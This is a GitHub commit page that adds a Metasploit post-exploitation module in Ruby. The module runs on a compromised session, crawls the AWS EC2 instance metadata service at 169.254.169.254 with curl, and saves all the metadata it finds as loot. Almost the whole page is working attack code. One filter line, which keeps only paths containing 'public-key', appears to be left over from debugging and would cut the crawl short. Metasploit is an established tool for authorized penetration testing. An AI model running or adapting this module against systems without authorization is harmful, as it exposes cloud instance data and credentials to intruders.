Skip to content

Commit b2e06be

Browse files
committed
Initial commit of post module to gather AWS EC2 instance metadata
1 parent de94348 commit b2e06be

File tree

1 file changed

+99
-0
lines changed

1 file changed

+99
-0
lines changed
Lines changed: 99 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,99 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class MetasploitModule < Msf::Post
9+
10+
def initialize(info = {})
11+
super(
12+
update_info(
13+
info,
14+
'Name' => 'Enumerate AWS EC2 instance metadata',
15+
'Description' => %q{
16+
This module will attempt to connect to the AWS EC2 instance metadata service
17+
and crawl and collect all metadata known about the session'd host.
18+
},
19+
'License' => MSF_LICENSE,
20+
'Author' => [
21+
'Jon Hart <jon_hart[at]rapid7.com>' # original metasploit module
22+
],
23+
# TODO: is there a way to do this on Windows?
24+
'Platform' => %w(linux osx unix),
25+
'SessionTypes' => %w(shell meterpreter),
26+
'References' =>
27+
[
28+
[ 'URL', 'http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html' ]
29+
]
30+
)
31+
)
32+
register_advanced_options(
33+
[
34+
OptString.new('TARGETURI', [true, 'AWS EC2 Instance metadata URI', 'http://169.254.169.254/latest/meta-data/ '])
35+
]
36+
)
37+
end
38+
39+
def target_uri
40+
begin
41+
@target_uri ||= URI(datastore['TARGETURI'])
42+
rescue ::URI::InvalidURIError
43+
print_error "Invalid URI: #{datastore['TARGETURI'].inspect}"
44+
raise Msf::OptionValidateError.new(['TARGETURI'])
45+
end
46+
end
47+
48+
def check_curl
49+
unless cmd_exec("curl --version") =~ /^curl \d/
50+
fail_with(Failure::BadConfig, 'curl is not installed')
51+
end
52+
end
53+
54+
def check_aws_metadata
55+
resp = simple_get(target_uri)
56+
unless resp =~ /^instance-id.$/m
57+
fail_with(Failure::BadConfig, "Session does not appear to be on an AWS EC2 instance")
58+
end
59+
resp
60+
end
61+
62+
def get_aws_metadata(base_uri, base_resp)
63+
r = {}
64+
base_resp.split(/\r\n/).each do |l|
65+
new_uri = base_uri.merge("./#{l}")
66+
next unless new_uri.to_s =~ /public-key/
67+
if l =~ /\/$/
68+
# handle a directory
69+
r[l.gsub(/\/$/, '')] = get_aws_metadata(new_uri, simple_get(new_uri))
70+
elsif new_uri.to_s =~ /\/public-keys\// && /^(?<key_id>\d+)=/ =~ l
71+
# special case handling of the public-keys endpoint
72+
key_uri = new_uri.merge("./#{key_id}/")
73+
key_resp = simple_get(key_uri)
74+
r[key_id] = get_aws_metadata(key_uri, key_resp)
75+
else
76+
r[l] = simple_get(new_uri)
77+
end
78+
end
79+
r
80+
end
81+
82+
def simple_get(url)
83+
vprint_status("Fetching #{url}")
84+
cmd_exec("curl #{url}")
85+
end
86+
87+
def run
88+
check_curl
89+
resp = check_aws_metadata
90+
metadata = get_aws_metadata(target_uri, resp)
91+
metadata_json =JSON.pretty_generate(metadata)
92+
file = store_loot("aws.ec2.instance.metadata", "text/json", session, metadata_json, "aws_ec2_instance_metadata.json", "AWS EC2 Instance Metadata")
93+
if datastore['VERBOSE']
94+
vprint_good("AWS EC2 instance metadata")
95+
print_line(metadata_json)
96+
end
97+
print_good("Saved AWS EC2 instance metadata to to #{file}")
98+
end
99+
end

0 commit comments

Comments
 (0)